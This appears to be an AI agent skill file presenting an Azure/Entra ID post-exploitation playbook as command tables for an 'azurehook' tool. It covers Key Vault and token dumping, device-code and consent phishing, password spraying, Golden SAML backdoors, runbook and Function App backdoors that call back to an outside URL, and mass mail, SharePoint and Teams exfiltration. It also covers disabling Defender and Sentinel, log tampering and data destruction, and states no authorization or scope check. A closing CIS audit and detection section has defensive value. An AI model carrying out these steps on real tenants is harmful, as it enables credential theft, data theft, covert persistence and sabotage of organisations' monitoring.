1---2name: azure-postexploit3description: Azure/Entra ID post-exploitation — 154 programs for tenant compromise, CIS compliance, identity attacks, data exfiltration, and M365 abuse4---56# Azure/Entra ID Post-Exploitation Methodology78154 programs across 13 categories — from basic enumeration to advanced Entra ID attacks, CIS compliance auditing, and M365 exploitation. All operations use az CLI and Microsoft Graph API.910## Prerequisites11121. **Valid Azure credentials** — service principal, user credentials, managed identity, or access token132. **az CLI installed** — `az version`143. **Current identity** — verify access via `az account show`1516```bash17# Quick prerequisite check18az account show # verify Azure CLI credentials19az version # verify CLI20```2122## Kill Chain Phases2324### Phase 1 — Situational Awareness (Recon: 47 programs)2526| Action | Command | Purpose |27|--------|---------|---------|28| Subscription enum | `azurehook subscription_enum` | Subscription details, quotas, spending |29| Resource graph | `azurehook resource_graph` | Cross-subscription resource queries |30| Entra ID enum | `azurehook entra_enum` | Users, groups, apps, SPs, conditional access |31| VM enum | `azurehook vm_enum` | VMs, public IPs, disks, extensions |32| Network enum | `azurehook vnet_enum` | VNets, subnets, peering, NSGs |33| NSG audit | `azurehook nsg_audit` | Overly permissive network rules |34| RBAC audit | `azurehook rbac_audit` | Role assignments, custom roles |35| SQL enum | `azurehook sql_enum` | SQL servers, databases, firewall rules |36| App Service | `azurehook app_service_enum` | App Service apps, auth, config |37| AKS | `azurehook aks_enum` | AKS clusters, nodegroups, RBAC |38| DNS | `azurehook dns_enum` | DNS zones, records, DNSSEC |39| Subdomain takeover | `azurehook subdomain_takeover` | Dangling CNAME detection |40| Public exposure | `azurehook public_exposure_scan` | Public IPs, storage, databases |41| Managed identity | `azurehook managed_identity` | Managed identity token harvest |42| Plus 33 more | `acr_enum`, `redis_enum`, `data_factory_enum`, `front_door_enum`, `apim_enum`, `databricks_enum`, `app_insights_enum`, `monitor_enum`, `sentinel_enum`, `vpn_gateway_enum`, etc. | Service-specific enumerators |4344### Phase 2 — Credential Harvesting (14 programs)4546| Action | Command | Purpose |47|--------|---------|---------|48| Key Vault dump | `azurehook keyvault_dump` | Secrets, keys, certificates |49| Token abuse | `azurehook azuread_token --action foci` | FOCI token swap, PRT abuse |50| IMDS harvest | `azurehook imds_harvest` | Instance metadata credentials |51| Device code phish | `azurehook device_code_phish` | Device code phishing flow |52| Graph tokens | `azurehook graph_token_harvest` | Multi-resource token harvest |53| Storage keys | `azurehook storage_key_dump` | Storage account access keys |54| Automation creds | `azurehook automation_cred_dump` | Automation Account credentials |55| Kubeconfig | `azurehook kubeconfig_dump` | AKS admin kubeconfig |56| Webapp env | `azurehook webapp_env_dump` | App Service env variables |57| Plus 5 more | `token_theft`, `certificate_abuse`, `refresh_token_replay`, `runbook_cred_extract`, `webapp_env_dump` | Additional credential sources |5859### Phase 3 — Privilege Escalation (11 programs)6061| Action | Command | Purpose |62|--------|---------|---------|63| Consent grant | `azurehook entra_privesc --method consent_grant` | Illicit consent grant |64| PIM activation | `azurehook pim_abuse` | Activate eligible admin roles |65| Global Admin | `azurehook global_admin_elevate` | Global Admin elevation |66| Custom role | `azurehook custom_role_exploit` | Exploit custom role definitions |67| CA bypass | `azurehook conditional_access_audit` | Find MFA gaps in CA policies |68| Managed identity | `azurehook managed_identity_privesc` | Over-privileged managed identities |69| App admin | `azurehook app_admin_privesc` | High-privilege app permissions |70| Plus 4 more | `deployment_privesc`, `resource_hierarchy_abuse`, `group_membership_abuse`, `partner_admin_abuse` | Additional escalation paths |7172### Phase 4 — Identity Attacks (Entra ID: 10 programs)7374| Action | Command | Purpose |75|--------|---------|---------|76| Federation backdoor | `azurehook federation_backdoor --domain D --idp-url URL` | Golden SAML via federation trust |77| PTA abuse | `azurehook pta_abuse` | Pass-Through Authentication interception |78| AADConnect | `azurehook aadconnect_dump` | Sync account enumeration (DCSync) |79| Seamless SSO | `azurehook seamless_sso_abuse` | Silver ticket via AZUREADSSOACC |80| SAML forge | `azurehook saml_forge --domain D` | SAML config for token forging |81| MFA manipulation | `azurehook mfa_manipulation` | MFA method enum/manipulation |82| Password spray | `azurehook password_spray` | Entra ID password spraying |83| Consent phish | `azurehook consent_phish` | OAuth consent phishing |84| Plus 2 more | `user_creation`, `tenant_recon_insider` | Account creation, insider recon |8586### Phase 5 — Lateral Movement (10 programs)8788| Action | Command | Purpose |89|--------|---------|---------|90| VM Run Command | `azurehook vm_run_command --vm NAME --command CMD` | Execute on VM via Run Command |91| Bastion tunnel | `azurehook bastion_tunnel` | Azure Bastion tunneling |92| Arc exec | `azurehook arc_exec` | Arc connected machine execution |93| Intune deploy | `azurehook intune_deploy` | Deploy scripts via Intune |94| Cross-tenant | `azurehook cross_tenant_enum` | B2B cross-tenant enumeration |95| DevOps | `azurehook devops_service_conn` | DevOps service connection abuse |96| Plus 4 more | `custom_script_ext`, `userdata_command`, `msbuild_exec`, `shared_image_inject` | Additional lateral paths |9798### Phase 6 — Persistence (11 programs)99100| Action | Command | Purpose |101|--------|---------|---------|102| Runbook backdoor | `azurehook runbook_backdoor --automation-account NAME --resource-group RG` | Automation runbook backdoor |103| Logic App | `azurehook logic_app_backdoor --resource-group RG --name NAME --callback-url URL` | HTTP-triggered callback |104| Function App | `azurehook function_app_backdoor --resource-group RG --name NAME --callback-url URL` | Function App with exfil |105| SP persist | `azurehook sp_persist` | Service principal credentials |106| VM extension | `azurehook vm_extension_backdoor` | Custom script extension |107| Lighthouse | `azurehook lighthouse_persist` | Cross-tenant Lighthouse persist |108| Plus 5 more | `webhook_persist`, `devops_pipeline_backdoor`, `acr_image_backdoor`, `scheduled_task_persist`, `oauth_app_persist` | Additional persistence |109110### Phase 7 — Data Exfiltration (12 programs)111112| Action | Command | Purpose |113|--------|---------|---------|114| Storage dump | `azurehook storage_dump` | Blob Storage data exfil |115| Cosmos DB | `azurehook cosmos_dump --account NAME` | Cosmos DB keys and data |116| Disk snapshot | `azurehook disk_snapshot` | Managed disk offline analysis |117| Graph mail | `azurehook graph_mail_dump` | Exchange Online mail via Graph |118| SharePoint | `azurehook sharepoint_dump` | SharePoint document exfil |119| Teams dump | `azurehook teams_dump` | Teams channel messages |120| Plus 6 more | `table_queue_dump`, `file_share_dump`, `data_lake_dump`, `service_bus_sniff`, `event_hub_tap`, `vm_disk_download` | Additional data sources |121122### Phase 8 — M365 Exploitation (4 programs)123124| Action | Command | Purpose |125|--------|---------|---------|126| Exchange abuse | `azurehook exchange_abuse` | Mailbox rules, forwarding, delegation |127| SharePoint enum | `azurehook sharepoint_enum` | SharePoint sites, document libraries |128| Teams enum | `azurehook teams_enum` | Teams channels, messages |129| OneDrive access | `azurehook onedrive_access` | OneDrive files and shared items |130131### Phase 9 — Defense Evasion (11 programs)132133| Action | Command | Purpose |134|--------|---------|---------|135| Diagnostic tamper | `azurehook diagnostic_tamper` | Disable diagnostic settings |136| Sentinel suppress | `azurehook sentinel_suppress` | Suppress analytics rules |137| Defender disable | `azurehook defender_disable` | Disable Defender plans |138| Activity log | `azurehook activity_log_tamper` | Tamper activity log settings |139| Policy exempt | `azurehook policy_exempt` | Create policy exemptions |140| WAF bypass | `azurehook waf_bypass` | Modify/disable WAF rules |141| Plus 5 more | `alert_suppress`, `log_analytics_tamper`, `nsg_flow_log_disable`, `resource_move`, `tag_manipulation` | Additional evasion |142143### Phase 10 — Compliance Audit (CIS Azure v3.0: 18 programs)144145| Action | Command | CIS Control |146|--------|---------|-------------|147| Defender plans | `azurehook defender_plan_audit` | CIS 2.1 |148| Security contacts | `azurehook defender_contact_audit` | CIS 2.1.x |149| Storage security | `azurehook storage_security_audit` | CIS 4.1-4.17 |150| SQL audit | `azurehook sql_audit_config` | CIS 5.1.1-5.1.7 |151| PostgreSQL | `azurehook postgres_audit` | CIS 4.3.x |152| MySQL | `azurehook mysql_audit` | CIS 4.4.x |153| Cosmos DB | `azurehook cosmos_security_audit` | CIS 4.5.x |154| Diagnostics | `azurehook diagnostic_audit` | CIS 5.1 |155| Activity alerts | `azurehook activity_alert_audit` | CIS 5.2 |156| Network Watcher | `azurehook network_watcher_audit` | CIS 6.5 |157| VM security | `azurehook vm_security_audit` | CIS 7.x |158| App Service | `azurehook appservice_security_audit` | CIS 9.x |159| Key Vault | `azurehook keyvault_security_audit` | CIS 8.x |160| Identity MFA | `azurehook identity_mfa_audit` | CIS 1.1-1.3 |161| Guest access | `azurehook guest_access_audit` | CIS 1.5 |162| Password policy | `azurehook password_policy_audit` | CIS 1.8-1.11 |163| Resource locks | `azurehook resource_lock_audit` | CIS 8.5 |164| Policy compliance | `azurehook policy_compliance_audit` | Azure Policy |165166### Phase 11 — Impact Assessment (5 programs)167168| Action | Command | MITRE |169|--------|---------|-------|170| Resource hijack | `azurehook resource_hijack` | T1496 |171| Data destroy | `azurehook data_destroy` | T1485 |172| Ransomware sim | `azurehook ransomware_sim` | T1486 |173| Account lockout | `azurehook account_lockout` | T1531 |174| Service disruption | `azurehook service_disruption` | T1489 |175176### Phase 12 — Cleanup (MANDATORY)177178```179azurehook cleanup_azure180```181182## Detection Considerations183184- **Azure Activity Log** — All ARM API calls, role assignments, resource creation185- **Entra ID Audit Logs** — App consent grants, credential additions, role activations186- **Microsoft Defender for Cloud** — Anomalous resource access, privilege escalation187- **Conditional Access** — Untrusted location/device blocks188- **Azure Sentinel** — UEBA, anomalous sign-in patterns, bulk data access189- **Microsoft Graph Activity Logs** — Graph API access to mail, files, teams190191## Program Reference192193| Program | Technique | MITRE ATT&CK |194|---------|-----------|---------------|195| entra_enum | Entra ID tenant enumeration | T1087.004 |196| subscription_enum | Subscription discovery | T1580 |197| resource_graph | Cross-subscription queries | T1580 |198| keyvault_dump | Key Vault secret extraction | T1555.006 |199| storage_dump | Azure Storage data exfiltration | T1530 |200| managed_identity | Managed identity token harvest | T1552.005 |201| azuread_token | Token manipulation and FOCI abuse | T1550.001 |202| entra_privesc | Privilege escalation via consent/PIM | T1098.001 |203| federation_backdoor | Federation trust manipulation | T1484.002 |204| pta_abuse | PTA credential interception | T1556.007 |205| aadconnect_dump | AADConnect sync account abuse | T1003.006 |206| runbook_backdoor | Automation Account persistence | T1525 |207| vm_run_command | VM Run Command execution | T1059.006 |208| diagnostic_tamper | Disable diagnostic settings | T1562.008 |209| sentinel_suppress | Suppress Sentinel analytics | T1562.001 |210| resource_hijack | Resource hijacking/cryptomining | T1496 |211| exchange_abuse | Exchange Online abuse | T1114.002 |212| cleanup_azure | Resource removal and restoration | T1070 |